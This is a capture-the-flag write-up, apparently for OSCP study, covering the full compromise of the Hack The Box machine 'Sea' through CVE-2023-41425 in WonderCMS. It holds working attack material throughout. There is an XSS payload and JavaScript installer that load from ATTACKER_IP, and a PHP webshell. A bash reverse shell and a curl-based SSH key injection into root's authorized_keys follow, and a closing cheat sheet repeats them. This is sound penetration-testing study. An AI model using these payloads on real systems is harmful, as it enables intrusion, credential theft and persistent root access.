OSCP Prep #1. HTB Writeup – Sea

1. Target Overview
Sea starts out looking like a simple website running on Apache. After a bit of enumeration, it becomes clear that the site is powered by WonderCMS, which turns out to be the key to getting an initial foothold.
From there the compromise unfolds in a fairly clean chain:
Stored XSS in WonderCMS
Malicious theme installation
Webshell → reverse shell as
www-dataCredential discovery
SSH access as
amayInternal service pivot
Command injection → root
2. Enumeration
The first step was identifying exposed services.
Port Scan
rustscan -a 10.129.x.x
Results:
22/tcp SSH
80/tcp HTTP
Running a more detailed scan:
nmap -sC -sV -p22,80 10.129.x.x
Confirmed:
22 OpenSSH 8.2
80 Apache 2.4.41
So the initial attack surface is straightforward — SSH and a web server.
Web Enumeration
Browsing the site reveals a small webpage for what looks like a biking event.
Directory fuzzing revealed several interesting paths:
ffuf -u http://sea.htb/FUZZ -w elite.txt
Important directories:
themes
data
plugins
contact.php
While interacting with the site, a redirect revealed the hostname:
sea.htb
So I added it locally:
sudo nano /etc/hosts
10.129.x.x sea.htb
Identifying the CMS
While exploring the /themes directory, I noticed this path:
/themes/bike
Inside were a few interesting files:
README.md
LICENSE
version
The README confirmed the application was using WonderCMS.
Checking the version file:
http://sea.htb/themes/bike/version
Returned:
3.2.0
3. Exploitation
Once WonderCMS was identified and the version confirmed as 3.2.0, I started looking for known vulnerabilities affecting this version.
A quick search revealed CVE-2023-41425, which describes a stored XSS vulnerability that can be abused to install malicious modules (themes or plugins).
In WonderCMS, installing a theme is essentially downloading a ZIP archive from a remote source and extracting it into the /themes directory. If we can abuse this functionality, we can get the server to install a theme that contains a webshell.
The only missing piece is identifying the login page, which the exploit requires.
Identifying the Login URL
The exploit documentation references a login path called:
/loginURL
This looks unusual at first, but WonderCMS actually uses this exact path by default.
There are a few ways to confirm this.
Method 1 — Public Documentation
Various forum posts and discussions reference this login endpoint.
/loginURL
Method 2 — Reviewing the WonderCMS Source
Downloading the WonderCMS source code and reviewing index.php reveals the login page is defined inside the createDb() function.
In the code, the login page is initialized as:
loginURL
The application then loads pages using the pattern:
index.php?page=<page>
Which means the login page can be accessed at:
/index.php?page=loginURL
Accessing the Login Page
Visiting either of these works:
http://sea.htb/loginURL
or
http://sea.htb/index.php?page=loginURL
Both load the WonderCMS login form.
This confirms the exploit prerequisites.
XSS Proof of Concept
The goal is to inject a payload that forces the server to load a malicious JavaScript file from our attacker machine.
The payload looks like this:
http://sea.htb/index.php?page=loginURL"></form>
<script src="http://ATTACKER_IP/0xdf.js"></script>
<form action="
At first glance this might look messy, but it works because of how the application renders form inputs.
What the Payload Does
Closes the existing form
Injects a
<script>tagLoads JavaScript from the attacker
Reopens the form so the HTML structure remains valid
Conceptually:
Original HTML
<form>
user input
</form>
Injected HTML
</form>
<script src="attacker.js"></script>
<form>
This causes the victim's browser to execute attacker-controlled JavaScript.
Triggering the XSS
The payload was submitted through the contact form.
After submitting the payload, I started a simple Python web server on my machine:
python3 -m http.server 80
Within about a minute the server received a request:
10.10.11.28 - - "GET /0xdf.js HTTP/1.1"
This confirms that the JavaScript file was requested by the target system.
That means the XSS payload executed successfully.
Preparing a Malicious Theme
The exploit works by installing a theme from a remote server.
Themes in WonderCMS are simply ZIP archives that get extracted into /themes.
The proof-of-concept exploit includes a reverse shell theme, but I opted to create a simpler version — a minimal PHP webshell.
Webshell
<?php system($_REQUEST['cmd']); ?>
Directory structure:
theme223/
└── cmd.php
Create the archive:
zip -r theme223.zip theme223/
Verify contents:
unzip -l theme223.zip
Output:
theme223/
theme223/cmd.php
Crafting the JavaScript Installer
Since we can inject JavaScript via the XSS vulnerability, we can abuse the WonderCMS module installation mechanism.
The JavaScript payload performs two steps:
Extract the CSRF token from the current page
Send a request to install a theme from our server
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev =
"/?installModule=http://ATTACKER_IP/theme223.zip" +
"&directoryName=theme223" +
"&type=themes" +
"&token=" + token;
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("GET", urlRev);
xhr.send();
What This Script Does
1. Grab session token
2. Send install request
3. Download attacker theme
4. Extract theme on server
Observing the Exploit
When the JavaScript executes, the Python web server logs several requests.
GET /0xdf.js
GET /theme223.zip
GET /theme223.zip
GET /theme223.zip
GET /theme223.zip
The repeated requests happen because WonderCMS checks the archive multiple times during installation.
This confirms the theme was downloaded successfully.
Webshell Access
Once the theme is installed, the webshell becomes available under the themes directory.
/themes/theme223/cmd.php
Testing command execution:
curl http://sea.htb/themes/theme223/cmd.php?cmd=id
Output:
uid=33(www-data)
The application is executing commands as www-data, giving us remote command execution on the server.
Getting a Reverse Shell
To obtain an interactive shell, I replaced the id command with a bash reverse shell.
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
Listener:
nc -lnvp 443
Once triggered, the connection appears:
Connection received
www-data@sea
We now have an initial foothold on the system.
Why This Exploit Works
The vulnerability chain works because:
Stored XSS
↓
Execute attacker JavaScript
↓
Install malicious theme
↓
Theme contains webshell
↓
Remote code execution
The key mistake in WonderCMS is allowing module installation through a URL parameter combined with insufficient input sanitization.
4. Privilege Escaltion
Initial Enumeration
Basic system information:
whoami
id
hostname
uname -a
Users discovered:
amay
geo
Searching Application Files
The web directory often contains useful information.
/var/www/sea/data
Inside database.js I discovered a password hash.
Cracking the Hash
The hash was copied locally and cracked using John.
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Password recovered:
mychemicalromance
User Access
Switching users works immediately.
su amay
Confirming access:
whoami
amay
SSH Login
A more stable shell can be obtained using SSH.
ssh amay@sea.htb
Discovering Internal Services
Checking listening services reveals something interesting.
netstat -tunlp
127.0.0.1:8080
This indicates an internal web application running locally.
SSH Port Forwarding
To access the service:
ssh -L 8000:localhost:8080 amay@sea.htb
The application becomes accessible locally:
http://localhost:8000
Command Injection
The internal web application appears to be a log analysis tool.
Example request:
log_file=access.log
Changing the parameter allows arbitrary file reads:
log_file=/etc/passwd
Testing command injection:
log_file=access.log;sleep 2
The response delay confirms code execution.
Executing Commands as Root
Payload used:
log_file=access.log;id #
Output:
uid=0(root)
The application executes commands as root.
5. Root Access
Reverse shells from the web app proved unstable, so SSH persistence was used instead.
Generating an SSH Key
ssh-keygen -f sea_root
This generates:
sea_root
sea_root.pub
Hosting the Public Key
python3 -m http.server 80
Injecting the Key
Using command injection:
curl http://ATTACKER_IP/sea_root.pub >> /root/.ssh/authorized_keys
Root Login
ssh -i sea_root root@sea.htb
Access confirmed:
root@sea
6. Lessons learned/ Key Takeaways
The biggest takeaway from this machine was the importance of identifying CMS platforms during enumeration.
Once WonderCMS was identified, finding a vulnerability was straightforward. After exploiting the CMS, the rest of the attack chain fell into place naturally.
Another key lesson was the importance of enumerating internal services after gaining a foothold. The service running on localhost:8080 ultimately provided a command injection vulnerability running as root.
This machine is a great reminder that:
Web vulnerabilities often lead to system access
Credentials frequently appear in application files
Internal services can expose powerful escalation paths
Useful Commands
Bash Reverse Shell
bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'
Simple PHP Webshell
<?php system($_REQUEST['cmd']); ?>
Upgrade Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Fix Terminal
export TERM=xterm
SSH Tunneling
ssh -L 8000:localhost:8080 amay@sea.htb
SSH Key Persistence
ssh-keygen -f sea_root
ssh -i sea_root root@sea.htb
Final Thoughts
Sea is a great example of how multiple smaller weaknesses can combine into full system compromise.
A vulnerable CMS provided the foothold, credentials enabled lateral movement, and an internal application ultimately led to root.






